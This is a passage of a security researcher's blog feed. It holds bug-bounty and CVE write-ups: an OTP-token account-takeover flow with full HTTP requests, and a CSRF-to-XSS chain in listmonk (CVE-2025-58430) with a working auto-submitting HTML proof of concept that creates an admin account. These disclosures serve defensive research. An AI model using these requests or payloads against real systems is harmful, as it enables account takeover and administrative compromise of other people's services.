<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>

<span class="p">{</span><span class="nl">"username"</span><span class="p">:</span><span class="s2">"attacker"</span><span class="p">,</span><span class="nl">"email"</span><span class="p">:</span><span class="s2">"attacker@example.com"</span><span class="p">,</span><span class="nl">"channel"</span><span class="p">:</span><span class="s2">"email"</span><span class="p">,</span><span class="nl">"transaction_type"</span><span class="p">:</span><span class="s2">"recovery_password"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Response (excerpt)</strong></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">HTTP/2 200 OK
Content-Type: application/json
Content-Length: [redacted]

{"status":"SUCCESS","channel":62,"requestId":"[GUID]","datetime":"[DD-MM-YYYY HH:mm:ss]","data":{"resend_left":9},
  "accountId":[ATTACKER_ACCOUNT_ID],
  "accountCode":"[REDACTED]",
  "firstName":"[REDACTED]","lastName":"[REDACTED]","birthDate":"[REDACTED]",
  "jwt":"&lt;REDACTED_JWT&gt;"}
</span></code></pre></div></div>

<h3 id="2-validate-otp-for-account-a-and-obtain-otp_token">2) Validate OTP for <strong>Account A</strong> and obtain <code class="language-plaintext highlighter-rouge">OTP_TOKEN</code></h3>

<p><strong>Request</strong></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/api/otp-core-ms/v1/validate</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">2</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">[redacted]</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>

<span class="p">{</span><span class="nl">"otp"</span><span class="p">:</span><span class="s2">"8275"</span><span class="p">,</span><span class="nl">"channel"</span><span class="p">:</span><span class="s2">"email"</span><span class="p">,</span><span class="nl">"transaction_type"</span><span class="p">:</span><span class="s2">"modify_pass"</span><span class="p">,</span><span class="nl">"email"</span><span class="p">:</span><span class="s2">"attacker@example.com"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Response</strong></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">HTTP/2 200 OK
Content-Type: application/json
Content-Length: 24
Set-Cookie: OTP_TOKEN=53472994; Max-Age=300; Path=/; HttpOnly; SameSite=None; Secure

{"data":{"status":"OK"}}
</span></code></pre></div></div>

<blockquote>
  <p>The attacker now has a <strong>single‑use</strong> <code class="language-plaintext highlighter-rouge">OTP_TOKEN</code> valid for a short TTL (e.g., ~5 minutes).</p>
</blockquote>

<h3 id="3-generate-reset-for-account-b-victim-to-obtain-victims-jwt-and-accountid">3) Generate reset for <strong>Account B</strong> (victim) to obtain victim’s <code class="language-plaintext highlighter-rouge">jwt</code> and <code class="language-plaintext highlighter-rouge">accountId</code></h3>

<p><strong>Request</strong></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/api/otp-core-ms/v2/generate</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">2</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">[redacted]</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>

<span class="p">{</span><span class="nl">"username"</span><span class="p">:</span><span class="s2">"victim"</span><span class="p">,</span><span class="nl">"email"</span><span class="p">:</span><span class="s2">"victim@example.com"</span><span class="p">,</span><span class="nl">"channel"</span><span class="p">:</span><span class="s2">"email"</span><span class="p">,</span><span class="nl">"transaction_type"</span><span class="p">:</span><span class="s2">"recovery_password"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Response (success shape)</strong></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">HTTP/2 200 OK
Content-Type: application/json

{"status":"SUCCESS","channel":62,"requestId":"[GUID]","datetime":"[DD-MM-YYYY HH:mm:ss]","data":{"resend_left":[int]},
  "accountId":[VICTIM_ACCOUNT_ID],"accountCode":"[REDACTED]",
  "firstName":"[REDACTED]","lastName":"[REDACTED]","birthDate":"[REDACTED]",
  "jwt":"&lt;REDACTED_JWT&gt;"}
</span></code></pre></div></div>

<h3 id="4-immediately-confirm-reset-for-account-b-using-otp_token-from-account-a">4) <strong>Immediately</strong> confirm reset for <strong>Account B</strong> using <code class="language-plaintext highlighter-rouge">OTP_TOKEN</code> from <strong>Account A</strong></h3>

<p><strong>Request</strong></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/api/account-ms/v1/recovery/password/confirm</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">2</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">[redacted]</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">OTP_TOKEN=53472994;</span>

<span class="p">{</span><span class="nl">"jwt"</span><span class="p">:</span><span class="s2">"&lt;VICTIM_JWT&gt;"</span><span class="p">,</span><span class="nl">"accountId"</span><span class="p">:</span><span class="err">&lt;VICTIM_ACCOUNT_ID&gt;</span><span class="p">,</span><span class="w">
  </span><span class="nl">"password"</span><span class="p">:</span><span class="s2">"Str0ngP@ssw0rd!"</span><span class="p">,</span><span class="nl">"contact"</span><span class="p">:</span><span class="s2">"victim@example.com"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Response</strong></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">HTTP/2 200 OK
Content-Type: application/json
Content-Length: [redacted]

{"status":"SUCCESS","channel":62,"requestId":"[GUID]","datetime":"[DD-MM-YYYY HH:mm:ss]","error":null}
</span></code></pre></div></div>

<p><strong>Outcome:</strong> The victim’s password is reset successfully, even though the <code class="language-plaintext highlighter-rouge">OTP_TOKEN</code> originated from the attacker’s OTP validation.</p>

<hr />

<h2 id="why-this-works-root-cause">Why This Works (Root Cause)</h2>

<ul>
  <li>The <code class="language-plaintext highlighter-rouge">/confirm</code> authorization relies on a post‑OTP token (<code class="language-plaintext highlighter-rouge">OTP_TOKEN</code>) that is <strong>not bound</strong> (server‑side) to the <strong>subject</strong> of the reset: neither to the <code class="language-plaintext highlighter-rouge">accountId</code>/<code class="language-plaintext highlighter-rouge">email</code> nor to the specific <code class="language-plaintext highlighter-rouge">requestId</code>/<code class="language-plaintext highlighter-rouge">jwt</code>/<code class="language-plaintext highlighter-rouge">transaction_type</code> that created it.</li>
  <li>While the token is <strong>single‑use</strong>, that one use can target <strong>any</strong> account within its TTL, as long as the attacker supplies a valid <code class="language-plaintext highlighter-rouge">jwt</code>/<code class="language-plaintext highlighter-rouge">accountId</code> for that target.</li>
</ul>

<hr />

<h2 id="impact">Impact</h2>

<ul>
  <li><strong>Zero‑click Account Takeover:</strong> The victim performs <strong>no action</strong>; the attacker completes the reset using their own post‑OTP token.</li>
  <li><strong>Direct funds exposure:</strong> Immediate access to wallet/balance and the ability to <strong>withdraw</strong> funds (subject to in‑app flows/KYC).</li>
  <li><strong>Sensitive data exposure:</strong> Access to personal data and, depending on views, financial/payment metadata (deposit/withdrawal history, saved payment method identifiers, billing addresses, DoB, KYC docs, etc.).</li>
  <li><strong>At‑scale abuse:</strong> The full ATO can be automated within the token TTL.</li>
</ul>

<hr />

<h2 id="remediation-recommendations">Remediation Recommendations</h2>

<ol>
  <li><strong>Strong binding of the flow token:</strong> Bind the post‑OTP token to <code class="language-plaintext highlighter-rouge">accountId</code>/<code class="language-plaintext highlighter-rouge">email</code>, <code class="language-plaintext highlighter-rouge">transaction_type</code>, and the originating <code class="language-plaintext highlighter-rouge">requestId</code>/<code class="language-plaintext highlighter-rouge">jwt</code>.</li>
  <li><strong>Single‑use &amp; consume on success:</strong> Ensure the token is one‑time and invalidated immediately after use.</li>
  <li><strong>Strict consistency checks:</strong> Reject <code class="language-plaintext highlighter-rouge">/confirm</code> if token subject ≠ provided <code class="language-plaintext highlighter-rouge">jwt</code>/<code class="language-plaintext highlighter-rouge">accountId</code>/<code class="language-plaintext highlighter-rouge">contact</code>.</li>
  <li><strong>Minimize data in <code class="language-plaintext highlighter-rouge">/generate</code>:</strong> Avoid returning excessive PII or tokens; prefer a generic “If the account exists…” response.</li>
  <li><strong>Defense‑in‑depth:</strong> Rate‑limits, anomaly detection (e.g., token for A used with B), invalidation chains (new <code class="language-plaintext highlighter-rouge">/generate</code> invalidates prior tokens), and thorough audit logging.</li>
</ol>

<hr />

<h2 id="severity--bounty">Severity &amp; Bounty</h2>

<ul>
  <li><strong>My proposed CVSS v3.1:</strong> <strong>AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.8 (Critical)</strong>.</li>
  <li><strong>Vendor triage:</strong> <strong>High</strong> — justified by the program because the attack assumes knowledge of a <strong>non‑public email</strong> bound to a public username, which they consider to increase <strong>Attack Complexity</strong>.</li>
  <li><strong>Bounty awarded:</strong> <strong>€3,500</strong>.</li>
</ul>

<p>I appreciate the program’s timely remediation and fair handling of the bounty discussion.</p>]]></content><author><name>Martino Spagnuolo</name></author><category term="bugbounty" /><summary type="html"><![CDATA[How a single-use OTP flow token not bound to the correct subject enabled a zero‑click account takeover.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://r3verii.github.io/assets/2025-10-18-zero-click-ato-gambling-platform/cover.jpg" /><media:content medium="image" url="https://r3verii.github.io/assets/2025-10-18-zero-click-ato-gambling-platform/cover.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">CSRF → XSS → Admin Takeover in listmonk (CVE-2025-58430)</title><link href="https://r3verii.github.io/cve/2025/09/08/listmonk-cve-xss.html" rel="alternate" type="text/html" title="CSRF → XSS → Admin Takeover in listmonk (CVE-2025-58430)" /><published>2025-09-08T00:14:54+00:00</published><updated>2025-09-08T00:14:54+00:00</updated><id>https://r3verii.github.io/cve/2025/09/08/listmonk-cve-xss</id><content type="html" xml:base="https://r3verii.github.io/cve/2025/09/08/listmonk-cve-xss.html"><![CDATA[<p><img src="/assets/2025-09-09-listmonk-cve-xss/cover.png" alt="cover" /></p>

<p><strong>Disclosed:</strong> September 9, 2025<br />
<strong>Product:</strong> <a href="https://github.com/knadh/listmonk">listmonk</a> — self‑hosted newsletter &amp; mailing‑list manager<br />
<strong>CVE:</strong> CVE-2025-58430</p>

<h3 id="project-context">Project context</h3>
<p>listmonk is a widely used open‑source project for self‑hosted newsletters and mailing lists. It has <strong>~17.8k GitHub stars</strong> and <strong>16k istances online</strong> (<a href="https://fofa.info/result?qbase64=bGlzdG1vbms%3D">FoFa</a> results)</p>

<h3 id="impact">Impact</h3>
<ul>
  <li>Creation of privileged users</li>
  <li>Execution of arbitrary actions as the admin</li>
  <li>Full administrative compromise of the listmonk instance</li>
</ul>

<h1 id="overview">Overview</h1>
<p>A chain of issues in listmonk allows a Cross‑Site Request Forgery (CSRF) to trigger arbitrary JavaScript execution (XSS) in the admin’s browser, culminating in a full admin account takeover. In practice, an attacker can lure a logged‑in admin to a malicious page that silently sends a crafted request to the template preview endpoint; the injected JavaScript then executes in the admin’s context and performs privileged actions (e.g., creating a new administrator).</p>

<h2 id="affected--patched-versions">Affected / Patched Versions</h2>
<ul>
  <li><strong>Affected:</strong> &lt;= v5.0.3</li>
  <li><strong>Patched:</strong> v5.1.0</li>
</ul>

<blockquote>
  <p>If you operate listmonk, treat this as <strong>critical</strong>: assume administrative compromise is possible and apply the mitigations below immediately.</p>
</blockquote>

<h2 id="technical-details">Technical Details</h2>
<h3 id="1-missing-serverside-csrf-enforcement">1) Missing server‑side CSRF enforcement</h3>
<p>Requests include a <code class="language-plaintext highlighter-rouge">nonce</code> parameter alongside the <code class="language-plaintext highlighter-rouge">session</code> cookie; however, the backend accepts requests even when the <code class="language-plaintext highlighter-rouge">nonce</code> is absent or removed. This defeats the intended CSRF control because the token is not actually validated server‑side.</p>

<h3 id="2-javascript-execution-in-template-preview">2) JavaScript execution in template preview</h3>
<p>Users with permissions can create and <strong>preview</strong> templates via <code class="language-plaintext highlighter-rouge">POST /api/templates/preview</code>. The preview renderer permits inline JavaScript, which will run in the browser when the preview loads.</p>

<h3 id="3-cookie-lacks-samesite">3) Cookie lacks SameSite</h3>
<p>The <code class="language-plaintext highlighter-rouge">session</code> cookie is set without an explicit <code class="language-plaintext highlighter-rouge">SameSite</code> attribute, leaving behavior to browser defaults. On browsers that default to <code class="language-plaintext highlighter-rouge">SameSite=None</code>, cross‑site POSTs will include the session cookie, enabling CSRF.</p>

<h3 id="putting-it-together">Putting it together</h3>
<p>An attacker hosts a page that auto‑submits a POST to the template preview endpoint containing a JavaScript payload. Because the <code class="language-plaintext highlighter-rouge">nonce</code> isn’t enforced and the <code class="language-plaintext highlighter-rouge">session</code> cookie rides along cross‑site, the payload executes in the admin’s origin. That script can then issue authenticated API calls (e.g., to create a new admin user), resulting in <strong>complete administrative takeover</strong>.</p>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p>Example HTTP request without nonce :</p>

<p><img src="/assets/2025-09-09-listmonk-cve-xss/user_creation_without_nonce_burp_request.png" alt="user_creation_without_nonce_burp_request" /></p>

<p>An admin (or any user with permissions) can create templates and preview them (<code class="language-plaintext highlighter-rouge">POST /api/templates/preview</code> ), in templates it is possible to execute javascript code, for example:</p>

<p><img src="/assets/2025-09-09-listmonk-cve-xss/browser_template_editor_with_alert.png" alt="browser_template_editor_with_alert" /></p>

<p>And this request can also be made without <code class="language-plaintext highlighter-rouge">nonce</code>.</p>

<p><img src="/assets/2025-09-09-listmonk-cve-xss/template_preview_burp_request_without_nonce.png" alt="template_preview_burp_request_without_nonce" /></p>

<p>Then an attacker can exploit this lack of validation to trigger an XSS in the victim’s browser (let’s assume the admin)</p>

<p>This is possible for 2 reasons :</p>

<ol>
  <li>There is no validation of the <code class="language-plaintext highlighter-rouge">nonce</code> (as mentioned above)</li>
  <li>The <code class="language-plaintext highlighter-rouge">session</code> cookie has no samesite flag</li>
</ol>

<p><img src="/assets/2025-09-09-listmonk-cve-xss/no_same_site_response_cookie_burp.png" alt="no_same_site_response_cookie_burp" /></p>

<p>As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one.
Some browsers by default set <code class="language-plaintext highlighter-rouge">Lax</code> (Chrome), but many others use <code class="language-plaintext highlighter-rouge">None</code> (Firefox, Edge)</p>

<p>For example, we can host this html page to prompt the admin to make a post request</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;html&gt;</span>
  <span class="c">&lt;!-- CSRF PoC  --&gt;</span>
  <span class="nt">&lt;body&gt;</span>
    <span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">"https://target.tld/api/templates/preview"</span> <span class="na">method=</span><span class="s">"POST"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"template&amp;#95;type"</span> <span class="na">value=</span><span class="s">"campaign"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"body"</span> <span class="na">value=</span><span class="s">"&amp;#123;&amp;#123;&amp;#32;template&amp;#32;&amp;quot;content&amp;quot;&amp;#32;&amp;#46;&amp;#32;&amp;#125;&amp;#125;&amp;#13;&amp;#10;&amp;#13;&amp;#10;&amp;lt;script&amp;gt;alert&amp;#40;&amp;#41;&amp;lt;&amp;#47;script&amp;gt;"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"Submit request"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;/form&gt;</span>
    <span class="nt">&lt;script&gt;</span>
      <span class="nb">document</span><span class="p">.</span><span class="nx">forms</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">submit</span><span class="p">();</span>
    <span class="nt">&lt;/script&gt;</span>
  <span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>


</code></pre></div></div>

<p>I tested the CSRF+XSS PoC written above on 3 browsers in their latest versions</p>

<ul>
  <li>Chrome ❌</li>
  <li>Firefox ✅</li>
  <li>Edge ✅</li>
</ul>

<p>Example in Firefox :</p>

<p><img src="/assets/2025-09-09-listmonk-cve-xss/xss_mozilla_poc.gif" alt="xss_mozilla_poc" /></p>

<p>We can now replace the simple <code class="language-plaintext highlighter-rouge">alert()</code> with any “harmful” request. request, for example the creation of a new admin account:</p>

<p><img src="/assets/2025-09-09-listmonk-cve-xss/browser_template_editor_with_final_payload.png" alt="browser_template_editor_with_final_payload" /></p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nt">&lt;script&gt;</span>
      <span class="kd">function</span> <span class="nx">submitRequest</span><span class="p">()</span>
      <span class="p">{</span>
        <span class="kd">var</span> <span class="nx">xhr</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
        <span class="nx">xhr</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">https:</span><span class="se">\</span><span class="s2">/</span><span class="se">\</span><span class="s2">/10.100.132.47</span><span class="se">\</span><span class="s2">/api</span><span class="se">\</span><span class="s2">/users</span><span class="dl">"</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
        <span class="nx">xhr</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="dl">"</span><span class="s2">Content-Type</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">application</span><span class="se">\</span><span class="s2">/json</span><span class="dl">"</span><span class="p">);</span>
        <span class="nx">xhr</span><span class="p">.</span><span class="nx">withCredentials</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
        <span class="kd">var</span> <span class="nx">body</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">{</span><span class="se">\"</span><span class="s2">username</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">testuser4</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">email</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">test3@test.com</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">name</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">testuser4</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">password</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">Test12345</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">passwordLogin</span><span class="se">\"</span><span class="s2">:true,</span><span class="se">\"</span><span class="s2">type</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">user</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">status</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">enabled</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">listRoleId</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">userRoleId</span><span class="se">\"</span><span class="s2">:1,</span><span class="se">\"</span><span class="s2">password2</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">Test12345</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">password_login</span><span class="se">\"</span><span class="s2">:true,</span><span class="se">\"</span><span class="s2">user_role_id</span><span class="se">\"</span><span class="s2">:1,</span><span class="se">\"</span><span class="s2">list_role_id</span><span class="se">\"</span><span class="s2">:null}</span><span class="dl">"</span><span class="p">;</span>
        <span class="kd">var</span> <span class="nx">aBody</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">(</span><span class="nx">body</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span>
        <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">aBody</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span>
          <span class="nx">aBody</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="nx">body</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span> 
        <span class="nx">xhr</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="k">new</span> <span class="nx">Blob</span><span class="p">([</span><span class="nx">aBody</span><span class="p">]));</span>
      <span class="p">}</span>
      <span class="nx">submitRequest</span><span class="p">();</span>
    <span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>So the final poc that exploits CSRF + XSS to create an admin account is like this :</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;html&gt;</span>
  <span class="c">&lt;!-- CSRF PoC --&gt;</span>
  <span class="nt">&lt;body&gt;</span>
    <span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">"https://10.100.132.47/api/templates/preview"</span> <span class="na">method=</span><span class="s">"POST"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"template&amp;#95;type"</span> <span class="na">value=</span><span class="s">"campaign"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"body"</span> <span class="na">value=</span><span class="s">"&amp;#123;&amp;#123;&amp;#32;template&amp;#32;&amp;quot;content&amp;quot;&amp;#32;&amp;#46;&amp;#32;&amp;#125;&amp;#125;&amp;#13;&amp;#10;&amp;#13;&amp;#10;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;lt;script&amp;gt;&amp;#13;&amp;#10;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;function&amp;#32;submitRequest&amp;#40;&amp;#41;&amp;#13;&amp;#10;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#123;&amp;#13;&amp;#10;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;var&amp;#32;xhr&amp;#32;&amp;#61;&amp;#32;new&amp;#32;XMLHttpRequest&amp;#40;&amp;#41;&amp;#59;&amp;#13;&amp;#10;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;xhr&amp;#46;open&amp;#40;&amp;quot;POST&amp;quot;&amp;#44;&amp;#32;&amp;quot;https&amp;#58;&amp;#92;&amp;#47;&amp;#92;&amp;#47;10&amp;#46;100&amp;#46;132&amp;#46;47&amp;#92;&amp;#47;api&amp;#92;&amp;#47;users&amp;quot;&amp;#44;&amp;#32;true&amp;#41;&amp;#59;&amp;#13;&amp;#10;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;xhr&amp;#46;setRequestHeader&amp;#40;&amp;quot;Content&amp;#45;Type&amp;quot;&amp;#44;&amp;#32;&amp;quot;application&amp;#92;&amp;#47;json&amp;quot;&amp;#41;&amp;#59;&amp;#13;&amp;#10;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;xhr&amp;#46;withCredentials&amp;#32;&amp;#61;&amp;#32;true&amp;#59;&amp;#13;&amp;#10;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;var&amp;#32;body&amp;#32;&amp;#61;&amp;#32;&amp;quot;&amp;#123;&amp;#92;&amp;quot;username&amp;#92;&amp;quot;&amp;#58;&amp;#92;&amp;quot;testuser4&amp;#92;&amp;quot;&amp;#44;&amp;#92;&amp;quot;email&amp;#92;&amp;quot;&amp;#58;&amp;#92;&amp;quot;test3&amp;#64;test&amp;#46;com&amp;#92;&amp;quot;&amp;#44;&amp;#92;&amp;quot;name&amp;#92;&amp;quot;&amp;#58;&amp;#92;&amp;quot;testuser4&amp;#92;&amp;quot;&amp;#44;&amp;#92;&amp;quot;password&amp;#92;&amp;quot;&amp;#58;&amp;#92;&amp;quot;Test12345&amp;#92;&amp;quot;&amp;#44;&amp;#92;&amp;quot;passwordLogin&amp;#92;&amp;quot;&amp;#58;true&amp;#44;&amp;#92;&amp;quot;type&amp;#92;&amp;quot;&amp;#58;&amp;#92;&amp;quot;user&amp;#92;&amp;quot;&amp;#44;&amp;#92;&amp;quot;status&amp;#92;&amp;quot;&amp;#58;&amp;#92;&amp;quot;enabled&amp;#92;&amp;quot;&amp;#44;&amp;#92;&amp;quot;listRoleId&amp;#92;&amp;quot;&amp;#58;&amp;#92;&amp;quot;&amp;#92;&amp;quot;&amp;#44;&amp;#92;&amp;quot;userRoleId&amp;#92;&amp;quot;&amp;#58;1&amp;#44;&amp;#92;&amp;quot;password2&amp;#92;&amp;quot;&amp;#58;&amp;#92;&amp;quot;Test12345&amp;#92;&amp;quot;&amp;#44;&amp;#92;&amp;quot;password&amp;#95;login&amp;#92;&amp;quot;&amp;#58;true&amp;#44;&amp;#92;&amp;quot;user&amp;#95;role&amp;#95;id&amp;#92;&amp;quot;&amp;#58;1&amp;#44;&amp;#92;&amp;quot;list&amp;#95;role&amp;#95;id&amp;#92;&amp;quot;&amp;#58;null&amp;#125;&amp;quot;&amp;#59;&amp;#13;&amp;#10;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;var&amp;#32;aBody&amp;#32;&amp;#61;&amp;#32;new&amp;#32;Uint8Array&amp;#40;body&amp;#46;length&amp;#41;&amp;#59;&amp;#13;&amp;#10;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;for&amp;#32;&amp;#40;var&amp;#32;i&amp;#32;&amp;#61;&amp;#32;0&amp;#59;&amp;#32;i&amp;#32;&amp;lt;&amp;#32;aBody&amp;#46;length&amp;#59;&amp;#32;i&amp;#43;&amp;#43;&amp;#41;&amp;#13;&amp;#10;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;aBody&amp;#91;i&amp;#93;&amp;#32;&amp;#61;&amp;#32;body&amp;#46;charCodeAt&amp;#40;i&amp;#41;&amp;#59;&amp;#32;&amp;#13;&amp;#10;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;xhr&amp;#46;send&amp;#40;new&amp;#32;Blob&amp;#40;&amp;#91;aBody&amp;#93;&amp;#41;&amp;#41;&amp;#59;&amp;#13;&amp;#10;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#125;&amp;#13;&amp;#10;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;#32;submitRequest&amp;#40;&amp;#41;&amp;#59;&amp;#13;&amp;#10;&amp;#32;&amp;#32;&amp;#32;&amp;#32;&amp;lt;&amp;#47;script&amp;gt;"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"Submit request"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;/form&gt;</span>
    <span class="nt">&lt;script&gt;</span>
      <span class="nb">document</span><span class="p">.</span><span class="nx">forms</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">submit</span><span class="p">();</span>
    <span class="nt">&lt;/script&gt;</span>
  <span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<h2 id="references">References</h2>
<ul>
  <li>GitHub Security Advisory: GHSA‑rf24‑wg77‑gq7w (CVE‑2025‑58430) — https://github.com/knadh/listmonk/security/advisories/GHSA-rf24-wg77-gq7w</li>
  <li>listmonk repository — https://github.com/knadh/listmonk</li>
  <li>listmonk documentation — https://listmonk.app/docs/</li>
</ul>]]></content><author><name>Martino Spagnuolo</name></author><category term="cve" /><summary type="html"><![CDATA[A chain of issues in listmonk allows a Cross‑Site Request Forgery (CSRF) to trigger arbitrary JavaScript execution (XSS) in the admin’s browser, culminating in a full admin account takeover]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://r3verii.github.io/assets/2025-09-09-listmonk-cve-xss/cover.png" /><media:content medium="image" url="https://r3verii.github.io/assets/2025-09-09-listmonk-cve-xss/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough</title><link href="https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html" rel="alternate" type="text/html" title="From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough" /><published>2025-08-25T00:14:54+00:00</published><updated>2025-08-25T00:14:54+00:00</updated><id>https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer</id><content type="html" xml:base="https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html"><![CDATA[<p><img src="/assets/2025-08-25-rxss-credential-stealer/images/cover.png" alt="Cover" /></p>

<p>Ethical note: the following is for educational purposes and documents a real case in an authorized context (bug bounty). Do not perform attacks on systems without permission.</p>

